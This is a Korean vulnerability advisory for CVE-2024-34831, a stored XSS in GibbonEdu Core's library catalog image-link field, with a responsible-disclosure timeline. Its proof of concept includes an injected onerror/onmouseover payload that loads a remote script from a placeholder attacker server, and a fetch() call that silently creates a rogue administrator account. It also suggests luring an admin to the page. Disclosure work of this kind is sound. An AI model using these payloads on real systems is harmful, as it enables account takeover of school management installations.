CVE-2024-34831 XSS 취약점 - GibbonEdu Core v26.0.00에서 권한 상승으로 이어짐

Gibbon은 멋진 오픈 소스 완전한 학교 관리 시스템입니다. 상당히 오래된 코드베이스를 개선하기 위해 많은 노력이 진행 중입니다.

작성자: Christian Bajada

1. 취약점

책을 편집/제출할 때의 imageLink 매개변수(/modules/Library/library_manage_catalog_editProcess.php)는 XSS에 취약합니다. Manage Catalog 권한이 있는 사용자는 이 취약점을 악용하여 더 높은 권한을 가진 사용자에게 임의 스크립트가 실행되도록 하고 권한을 상승시킬 수 있습니다.

2. PoC 간단 시나리오

1. Learn > Library > Manage Catalog 로 이동합니다.
2. 책 항목 중 하나를 편집합니다.
3. Image Link 필드가 제대로 살균되지 않아 임의의 Javascript를 실행할 수 있습니다. Image Link를 [http://x](http://x/)" onerror='alert(1)' 로 수정하면 라이브러리 페이지를 로드할 때 경고 코드가 실행됩니다:

3. 권한 상승을 위한 PoC

이 섹션에서는 이 취약점을 단순한 alert(1) 팝업보다 더 위험한 용도로 사용할 수 있는 방법을 설명합니다. 우리는 로그인한 관리자가 공격자가 접근 가능한 또 다른 관리자를 자연스럽게 생성하도록 속일 것입니다.

imageLink 필드는 Gibbon 플랫폼에서 의미 있는 기능을 호출하기에는 너무 작습니다. 대신 Javascript를 다른 곳에 호스팅하고 브라우저가 다운로드하여 실행하도록 할 수 있습니다. CSP가 없기 때문에 가능합니다.

1. 악의적인 사용자는 다음과 같이 관리자 사용자를 생성하는 페이로드를 제작하여 공개적으로 접근 가능한 위치(예: https://<yourserver.com>/payload.js)에 배치합니다. 아래 코드가 관리자에 의해 실행되면 hexthecat이라는 관리 사용자가 생성됩니다. 이 코드는 Gibbon Core의 함수를 호출하여 필요한 모든 매개변수와 함께 새 사용자를 생성합니다.

fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });

2. 악의적인 Mange Catalogue 사용자는 책에 대해 다음과 같은 imageLink를 입력합니다(원본을 유지하고 스크립트 로딩 부분을 추가):

http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"

3. 관리자가 라이브러리를 탐색합니다.

관리자가 라이브러리 카탈로그로 이동할 때까지 기다리거나 IM, 이메일 또는 다른 채널을 통해 설득해야 합니다.

책 그림 위에 마우스를 올리면(onmouseover) 페이로드가 해당 위치(여기서는 <yourserver.com>)에서 가져와 실행됩니다. 이로 인해 악의적인 사용자가 이제 접근할 수 있는 관리자 사용자가 생성됩니다. 'onerror' 리스너를 사용하면 그림 위에 마우스를 올리지 않아도 페이로드가 즉시 실행되도록 할 수 있습니다.

메뉴 ADMIN > User Admin 에서 생성된 사용자를 확인할 수 있습니다.

4. 책임 있는 공개

책임 있는 공개 지침 https://github.com/GibbonEdu/core/security 에 따라 게시되었습니다.

• 2024년 5월 6일: 취약점 보고 및 GibbonEdu 유지 관리자가 확인.
• 2024년 5월 15일: MITRE에서 CVE 번호 할당.
• 2024년 9월 10일: 권고 게시.